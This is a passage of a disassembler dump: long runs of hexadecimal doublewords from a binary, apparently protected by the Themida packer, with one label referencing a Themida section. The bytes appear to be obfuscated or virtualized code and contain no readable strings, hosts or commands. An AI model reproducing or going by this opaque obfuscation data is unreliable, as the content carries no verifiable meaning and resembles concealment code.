0F98B0000h, 100D9D2Bh, 50500615h, 66310F52h dd 5A9C86BBh, 24348958h, 0BD895660h, 615302Dh, 0DAB70F5Bh dd 99B5FF61h, 6A0618BFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0CF00C353h, 19EC2AF2h dd 4B96D67h, 229D8589h, 95FF0615h, 6150439h, 0BF99B5FFh dd 0BD8B0618h, 6150C09h, 0DCD95FFh, 81660615h, 835555EFh dd 15285DBDh, 840F0206h, 25h, 5E8h, 0AA327D00h, 9D8B377Bh dd 6150265h, 49858B5Fh, 8B061528h, 1508A1BDh, 0C606h, 0C2C383BFh dd 0F585C73Fh, 61523h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B1D8C350h dd 8937E61Eh, 15127D85h, 0F0B5E906h, 9D89FFFFh, 615300Dh dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 63B1D7C3h, 0E763490Fh, 0F3C78156h, 5F35ED8Ah dd 279D858Dh, 81660615h, 1363EE3h, 1509A19Dh, 0F509006h dd 87h, 0BD899000h, 6152B3Dh, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 3F0F2C3h dd 739BDB9Bh, 8B44D163h, 0C59D8BDFh, 6A061503h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0E18D89B6h, 8D061506h, 19E99C85h, 0DE8B6606h, 6A05C083h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 7982C351h, 107CF68Bh, 4CE78166h, 52509057h dd 12BF310Fh, 5A3B3DE0h, 0BB665058h, 6A90A72Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0D3B4C353h, 94328FCFh, 6ADE8B87h, 14DF8100h, 6A4E687Eh dd 0FFFE8B00h, 15267995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 32CC29EAh dd 0B6BFA923h, 8D5A47B4h, 189C158Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0BD884DF8h dd 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0A310B1C3h, 0E6733075h, 60B3A532h, 2DB5BD83h dd 0F010615h, 9E85h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0B251AB97h, 872F2DA4h dd 8CE745BBh, 6A026A53h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0F625C350h, 0E5BD8966h dd 89061518h, 1502CD8Dh, 0BF669006h, 0E9500B9Fh, 10h, 4C7475FFh dd 0FCB1867Dh, 7D5A5EE4h, 0FCC3DD34h, 99D0B90h, 0FF061525h dd 151D4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0DD1AAF73h, 0E9F519D9h, 0D96h, 0E8h dd 0ED815D00h, 619E9A6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0F7C35545h, 244E307Ah, 0E3E4EF8Eh, 65BD8B86h dd 6A061526h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 6E4CC351h, 858D8114h, 61888F9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8CC35343h dd 8B6650F9h, 240489DEh, 68C0Fh, 840F0000h, 0 dd 6445CF81h, 0FF640BA2h, 35h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0B3BF9147h dd 68F0FBCh, 81000000h, 0ADCA16E3h, 25896406h, 0 dd 8A0Fh, 85010000h, 61520CDh, 153585FFh, 6A0615h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 645B2C3h, 0C0B6FC9Bh, 0FF6A0352h, 0BD8BF98Bh, 6152D01h dd 2339B5FFh, 0FFF90615h, 1508BD95h, 11BE906h, 85090000h dd 615263Dh, 0EBB300B0h, 21BF70E6h, 0E40609BBh, 0E870F71h dd 0E9000000h, 9, 0AB2F018Fh, 0AC598889h, 0F613C4Fh, 0EC83h dd 0D1952900h, 89061526h, 15212985h, 0C8B60F06h, 69DF8166h dd 6BA7Eh, 0DE90000h, 2D000000h, 0EFAFEE6Bh, 30EAA87Fh dd 29D1CDEh, 0BD29C18Bh, 61507E5h, 8904E8C1h, 15043D95h dd 0E2F76606h, 8D0Fh, 0C82B0000h, 8509D18Bh, 61511C9h dd 98E9h, 31BF6600h, 4858BFFh, 0F000000h, 0C8Ah, 6850F00h dd 89000000h, 15116595h, 7C08306h, 419BD03h, 9D8B0615h dd 6150CE9h, 8B00C083h, 1505999Dh, 0FD03B06h, 1783h, 95BB6600h dd 2D9D03BFh, 0E906152Ah, 4Dh, 0F19D8B53h, 5B061509h, 0FFFF8D8Bh dd 0FB8BFFFFh, 0F01E183h, 3484h, 19BD8B00h, 8306150Dh dd 0FFFFFFA5h, 0BF66FEFFh, 0E960CE5Ah, 8, 0D50490h, 1E7EECC1h dd 2D358D03h, 89610615h, 495h, 0F8B70F00h, 0E9h, 0D4B58D00h dd 0E9061961h, 7, 4EE7CD66h, 6A17CB31h, 0F98B6600h, 2E2195FFh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0D2B144C3h, 0B70F5658h, 0D0B95BFEh, 8900000Fh dd 1513419Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 5AC35747h, 0E59D89FCh, 0FC061518h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 72C35646h, 7A6E1AD6h dd 0B509A771h, 61519F1h, 0B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 98BF668Ch dd 0BA66h, 0D98A0000h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h dd 9AE40827h, 2860F33h, 8B000000h, 33E380D8h, 2155BD8Bh dd 880D0615h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0F28C351h, 284h, 8BD88B00h dd 15272195h, 0CD8D8B06h, 0F061504h, 588h, 0E3805700h dd 8B505F77h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0F4B83CBFh, 57006A0Ah, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0A4B4B564h, 2375ACBFh dd 9D8BBFDAh, 6151611h, 18A9BD83h, 0F000615h, 4284h, 8284BF00h dd 0B87EC0h, 0BF000000h, 5289A917h, 4F9E8D8Dh, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 68050CC3h, 55BBE9B9h, 0FF24E06Ch, 119D8BE1h, 83061518h dd 151115BDh, 840F0006h, 4D9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 91C35141h, 0F50985Bh, 689h dd 0F1D78100h, 91C8BFBh, 1512B595h, 15BD8306h, 1061511h dd 4B6840Fh, 0D88B0000h, 1115BD83h, 0F030615h, 47186h dd 0DE8B6600h, 6CD38160h, 660CF3E8h, 6AD98Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8A4060C3h dd 8BCF647Dh, 4E180F9h, 27999529h, 0C90A0615h, 163840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0F53C1C3h, 280h, 5B5F5600h, 249D858Bh, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0C2FDBEC3h, 6B005FF2h, 8533DA33h, 61519B5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 8BC35343h, 0FB5EE79Dh dd 0AE990h, 0FF2F0000h, 448706B9h, 0CE52AC5h, 0EBB5050h dd 5F046E08h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 6A54F6h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 1CC35343h, 9BB8F0C1h, 799BD8Bh dd 7A680615h, 60F2AF86h, 0BD0FBF66h, 11E957h, 0A9090000h dd 0C0776CB2h, 8BFE04Dh, 7A84256Ch, 5E04378Fh, 24048161h dd 0D6F7D85h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0ACC35242h, 958B6027h, 61512D1h, 8018D29h, 0FF610615h dd 150DAD95h, 2D858906h, 8906152Ah, 18BF9985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 28E90545h, 81000002h, 48AD3ECBh, 91858B25h, 6A0618BFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 90E8C353h, 0FF20C723h, 0CE8h, 34A81900h dd 92BFAA5Eh, 2291E05Fh, 5E85F7Ch, 66000000h, 81A85C73h dd 2E1DBD89h, 0C75F0615h, 1800h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 6F7C8344h dd 168D0Fh, 0AE80000h, 0E1000000h, 0F09D6ACCh, 0DC55EBA4h dd 0F59D8B14h, 5F061500h, 0BF95B58Bh, 66600618h, 3EBFEE81h dd 858B61F9h, 6150C45h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0C8C35040h, 0FEC5A0ABh, 9D315D8Bh, 6151CD9h dd 2A1DBD23h, 6890615h, 369B589h, 858B0615h, 615249Dh dd 41858960h, 0E8061502h, 5, 248FD1DCh, 896158F9h, 6A0446h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 7475FFC3h, 0B1867D4Ch, 50D98AFCh, 52958DBFh, 2434893Eh dd 8A9BD8Bh, 0B5FF0615h, 618BF91h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0A5C35141h, 92857797h, 0DB589FDh dd 8906151Ah, 15267195h, 0EAB66806h, 59B38CB4h, 49240481h dd 6A736A19h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0F26CC350h, 0D02500D9h, 8DDF8B66h dd 18BF9985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0A99D236Ch, 0E906152Ah, 0Ah, 19B88E57h dd 85671DBh, 6690984Dh, 508B15BFh, 5B525757h, 6A905B5Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0F005C353h, 0F768633Ch, 2D95311Dh, 0FF06152Fh dd 150DAD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0BD07737Fh, 11B53178h, 61061516h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E1C35242h dd 4199D8Bh, 85C70615h, 6151115h, 3, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 11C35242h, 1ED07C36h, 0BF0F03F7h dd 835F56DBh, 18BF99BDh, 840F0006h, 4Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0E6C35747h, 0ADE1549Dh dd 0CADBD8Bh, 3AE90615h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h dd 17042444h, 40000000h, 3AD2C350h, 3050FF76h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 1083F807h, 1AF36EC5h, 0FDB501D9h, 8A061528h, 4DBD0BFEh dd 6A061525h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0CEF7C355h, 3266BF66h, 21BD2B53h dd 5B061508h, 1115BD83h, 0F030615h, 3AA85h, 89BD8B00h dd 83061510h, 18BF99BDh, 840F0006h, 397h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 31C35141h, 981ECF2h dd 15243DBDh, 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0F846C355h dd 8960F878h, 1509118Dh, 0D9BF0F06h, 0E195FF61h, 8B061510h dd 15143D9Dh, 8DB58B06h, 6A0618BFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9CFC353h dd 13h, 0EB620917h, 3A56A39Bh, 1A9EDFB2h, 0AB8FBE26h, 0C7CD7CA9h dd 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 264237DDh, 0BFF67816h, 21920FFBh dd 9689C380h, 0DE96050h, 0DC000000h, 0BA8E8909h, 0DEFAE468h dd 9D50BA26h, 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 239EC6C3h, 456781F5h, 0BF99B5FFh dd 0B5290618h, 6150321h, 6A195FFh, 0B58B0615h, 618BF8Dh dd 8BDF8B66h, 15005985h, 6CC38006h, 0C48689h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0EC294AC3h, 8B93E826h, 15272195h, 870F5706h, 6, 6F1B589h dd 835F0615h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0FBB2DEC3h, 8D296C2Dh, 61533D1h dd 11E9h, 801D6500h, 0C55A1688h, 688E87E0h, 4599C878h dd 50892EFBh, 8DDF8B20h, 18D45885h, 0BEB8106h, 8923E68Fh dd 0B886h, 6AD88B00h, 0FBBF6600h, 99B5FF05h, 0FF0618BFh dd 151D4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0DA88F490h, 0FE9h, 0DB345300h, 0B36630C2h dd 77F96735h, 5D24B3A7h, 18D34DBFh, 6060501Dh, 5FCF8EB8h dd 0A9BE665Ah, 0E960619Eh, 9, 0E194C4D6h, 4EF7836Dh, 0CA8B6681h dd 34896161h, 0B69BF24h, 0B5FF0104h, 618BF99h, 272DBD8Bh dd 0BB660615h, 95FF32CAh, 6150729h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0F2C35141h, 660DAEDEh, 80D6FABBh dd 0BD8375EBh, 6150065h, 54840F00h, 0E8000000h, 10h, 6EB95786h dd 3326C5Fh, 74C2375Dh, 0A47139A3h, 72AAA8BBh, 870F5F1Ah dd 6, 7D4DF781h, 8950161Bh, 6A2434h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8F1724C3h dd 7662828Ah, 65BD8937h, 0FF061529h, 18BF99B5h, 0C3816606h dd 95FF90E0h, 6150439h, 2CD19531h, 0B5FF0615h, 618BF99h dd 154C7ABFh, 0CD95FF17h, 8906150Dh, 151CB185h, 5DBD8306h dd 2061528h, 5D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 227E28C3h, 0F1116333h dd 49858BFEh, 66061528h, 0BB66DF8Bh, 0C6CE1Ah, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8E98F02h, 0CE000000h, 11BA2114h, 0C70D148Ah, 1523F585h dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 6E1DD302h, 0C4D450BBh, 81661862h dd 0E9DFA9F7h, 0FFFFF3BEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0EAC35747h, 15B3C6B7h, 0B93E092Bh, 0D15FBFF7h dd 0C18B5E93h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 83C35040h, 119D2945h, 8006150Dh, 858D5ADBh, 615279Dh dd 2F8781BFh, 4895024h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 221C35C6h, 9DB58960h dd 8B061517h, 151889BDh, 6A6106h, 51B3B660h, 8E9h, 0A102B900h dd 0E81108AAh, 6A615BD4h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0B6DD39B7h dd 2E1F48A7h, 0BF0DBF66h, 0F970858Dh, 6A0619h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 7D04F8C3h, 2672300Eh, 832ECB80h, 6A05C0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0F8D4A4C3h dd 45C03F46h, 5D9D8B6Ch, 50061501h, 8CBF6650h, 4895B92h dd 0D1858924h, 6A061500h, 81BD8B00h, 66061522h, 6ADE8Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B5C35141h dd 0BC040921h, 2DBD8B66h, 0FF06152Dh, 15267995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DFF79AF0h, 0E270AD8Dh, 830FB35Bh, 9, 0BAF78A60h, 93907C5h dd 158D8D61h, 6A06189Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0DADFC357h, 619D89F3h dd 0BB061527h, 7E390C76h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 89633AC3h, 15021585h dd 4CBB5206h, 5F128478h, 18F59D8Bh, 0BD830615h, 6152DB5h dd 7C850F01h, 60000000h, 3820EA81h, 61F513B6h, 6A026Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 4D7658C3h, 0F5050F8h, 28Ah, 5FFB8B00h, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 54B5C351h, 0FFCBBF19h, 151D4D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E917C760h dd 0DC3h dword_5C93A4 dd 0E8h, 0ED815D00h, 619F97Ah, 0E853006Ah, 3, 5BC35B20h ; DATA XREF: Themida_:00579B00o ; Themida_:0057B730o dd 4245C89h, 4244481h, 16h, 0A7C35343h, 8D31279Ch, 6151A35h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0B8C35545h dd 53755C4Eh, 819FF369h, 0F3A55EBh, 1853117h, 8D06151Dh dd 1888F985h, 29BD8B06h, 90061517h, 8E8h, 0BD0A7900h, 5A3C799Dh dd 11E903h, 3D6A0000h, 0F765DE6Bh, 41A50910h, 97668C0Eh dd 5B883F3Eh, 8E950h, 0C190000h, 0C34CB249h, 64906F9Dh dd 35FFh, 0B70F0000h, 258964F8h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 13C35040h dd 8ED747EEh, 0FFFD2738h, 15153585h, 0FF6AF906h, 66DABF0Fh dd 2E1BD781h, 3375B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0C0FD84C3h, 2B4D6D13h dd 0FABFDF8Bh, 0FF157DC0h, 1508BD95h, 0F5E906h, 9D890000h dd 6150D01h, 0B8B300B0h, 9E870E6h, 0F9000000h, 84AE97D6h dd 875BD615h, 8971E45Bh, 1519CD95h, 0F613C06h, 0CA83h dd 0FF88B00h, 8589C8B6h, 61525C9h, 26C59D8Bh, 6BA0615h dd 1000000h, 1528B1BDh, 81C18B06h, 31CCCCFh, 4E8C134h dd 0F766CAB3h, 0F0F781E2h, 2B40B4F3h, 0F5D18BC8h, 21CDBD8Bh dd 88E90615h, 8B000000h, 15115DBDh, 44858B06h, 8B5F4C4Ch dd 15135DBDh, 7C08306h, 0C2B70F60h, 2685B58Bh, 83610615h dd 0BD2300C0h, 6152E5Dh, 830FD03Bh, 1Fh, 7810Fh, 66500000h dd 994ED781h, 6820F5Fh, 81000000h, 86CD8CD7h, 39E97Fh dd 8BF90000h, 0FFFFFF8Dh, 0F8CF81FFh, 8932D607h, 15033185h dd 1E18306h, 1D840Fh, 0A5830000h, 0FFFFFFFFh, 0C18531FEh dd 89061528h, 4C4C4495h, 0F703BF5Fh, 0E919B6h, 8D000000h dd 1971A4B5h, 0CE906h, 0D3D00000h, 66B47F2Bh, 0B514320Fh dd 6A8764h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 6AC35141h, 0E8A9C338h, 0Dh, 0BCFAD22Bh, 2F67FB1Ch dd 0A799FA31h, 5FFE8B75h, 10E8h, 0FBFCCE00h, 495DF507h dd 0CDDBD521h, 1621D88Ah, 599D8BD1h, 5B061522h, 2E2195FFh dd 0B5890615h, 6152EE1h, 0FE8B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 4AC343F1h dd 86763347h, 0ADBD8B24h, 83061507h, 0BD2BFCE1h, 6151DDDh dd 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 1F8A6A03h, 82350470h, 8B0F5713h, 8, 69BD2952h dd 5F06152Dh, 28DDB589h, 0C02B0615h, 0BAh, 3D9D8900h, 8906151Ah dd 15251DBDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 820FF4h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0C3CEC357h, 880DE7h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 81668AC3h, 0E89E53C7h, 0Eh, 0F9E7CE84h, 0BC11F4F7h dd 6864C8FDh, 8B5B30FEh, 15272195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0C463B828h dd 0F9F7E443h, 28CD9501h, 8D8B0615h, 61504CDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 21C35545h, 8C20FED8h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0E9FCA2C3h, 0Dh, 0A0239B6Bh, 3F69A70Dh, 8DDDA6CDh, 0A9BD8333h dd 61518h, 73840Fh, 0B5890000h, 615182Dh, 0B8h, 11BD8B00h dd 8D061500h, 154F9E8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BD89296Dh, 6150C6Dh dd 0E1FFDF8Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 9AC35040h, 8166F8DBh, 0F98E9EBh, 687h, 23EF8100h dd 8B282498h, 1503C59Dh, 15BD8306h, 61511h, 3E7840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 1786FBC3h, 0BD9D8B11h, 9061506h, 152FF5B5h, 15BD8306h dd 1061511h, 3CA840Fh, 8B660000h, 15BD83DEh, 3061511h dd 384860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 2C086C3h, 0F9D11EA2h, 9D23C2A9h dd 615047Dh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8D894DFAh, 61501ADh, 8C66DD8Ah, 0DBB70FD9h dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0D898C353h, 6FC2E8FFh, 54CF723Bh dd 0D4D977BBh, 0FC90A01h, 10384h, 0F98B6600h, 249D858Bh dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0E7E1CEC3h, 63952812h, 85333F53h, 61519B5h dd 1C81BD2Bh, 0C7810615h, 1BF1B014h, 0ABF50h, 48974C1h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 8E3B6BC8h, 942D3394h, 6A006AE8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 40F7C351h, 66579BFBh, 685BFE8Bh, 9B7E4E70h, 81DA8B66h dd 0B58F2404h, 6A64A0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 809DFAC3h, 57C14708h, 179BD8Bh dd 0FF5F0615h, 150DAD95h, 3FBB6606h, 99858963h, 6A0618BFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 20EAC353h, 0D19D8BF8h, 0E9061518h, 18Ah dd 0BF91858Bh, 0BD230618h, 6150CADh, 1800C7h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8B525BC3h, 18BF95B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 30129F05h, 9A109216h dd 5E8C297h, 1000000h, 4AD1F1BAh, 1D0D8589h, 8B5F0615h dd 1508219Dh, 45858B06h, 6A06150Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F8CBC357h dd 0D625D687h, 89F94FEBh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0B5894EF6h dd 6152A8Dh, 249D858Bh, 0B70F0615h, 44689F9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CEC35747h, 5576D0E4h dd 807E2339h, 6E915CFh, 49000000h, 0BE1186DDh, 8B6650C0h dd 243489D9h, 2840Fh, 0D88B0000h, 0BF91B5FFh, 0BD8B0618h dd 6152681h, 0CBB68C68h, 0CE906h, 62760000h, 0FD1C3EA2h dd 1A520168h, 348186A2h, 0D4B57324h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 2FBADFEEh dd 29DBBF0Fh, 1507E18Dh, 99858D06h, 310618BFh, 15134D8Dh dd 800F9006h, 2, 66505B56h, 6690DE8Bh, 0BB66FA8Bh, 95FF0ACEh dd 6150DADh, 28E5BD8Bh, 29610615h, 151A0595h, 1585C706h dd 3061511h, 89000000h, 15229D8Dh, 858B6006h, 6151315h dd 99BD8361h, 618BFh, 40840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 2BDEB9C3h dd 803FD8D8h, 32E9C8F7h, 8A000000h, 9E8D8h, 0AD330000h dd 1B4309C6h, 89F01DD5h, 15119595h, 30505F06h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 29F84D68h, 6A66C2h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 7F9609C3h, 0FD8D3109h, 89061514h, 1514B185h, 15BD8306h dd 3061511h, 462850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0BD898AC3h, 6150815h dd 0BF99BD83h, 0F000618h, 43384h, 998D8900h, 0FF061505h dd 18BF99B5h, 4DBF6606h, 0CD9D8979h, 0FF06150Ah, 1510E195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0A0D40C8Eh, 0B58B54D4h, 618BF8Dh, 13158D89h dd 6C70615h, 10001h, 9E950F5h, 44000000h, 2BC52750h, 138F9699h dd 8B243489h, 99B5FFF9h, 290618BFh, 151E0D9Dh, 0A195FF06h dd 6A061506h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 5424C352h, 0CA34342Eh, 6632BCD0h dd 37BCB81h, 0BF8DB58Bh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 1594D8C3h, 57193CE6h dd 0FB64ED2h, 586h, 0CF816600h, 858B43BDh, 6150059h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C4C35343h, 89A3A059h dd 0C486h, 35B50100h, 8B061530h, 15272195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 1D16C548h, 0FDE14433h, 9589645Bh, 61516E1h, 6604C283h dd 5089FA8Bh, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 8DB06746h, 18D45885h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 3243EAADh, 0E8F43020h, 0CE9h, 7F65D600h, 1923220Eh dd 0E904246Ch, 89DE8BD8h, 0B886h, 6AF800h, 0E853006Ah dd 3, 5BC35B20h, 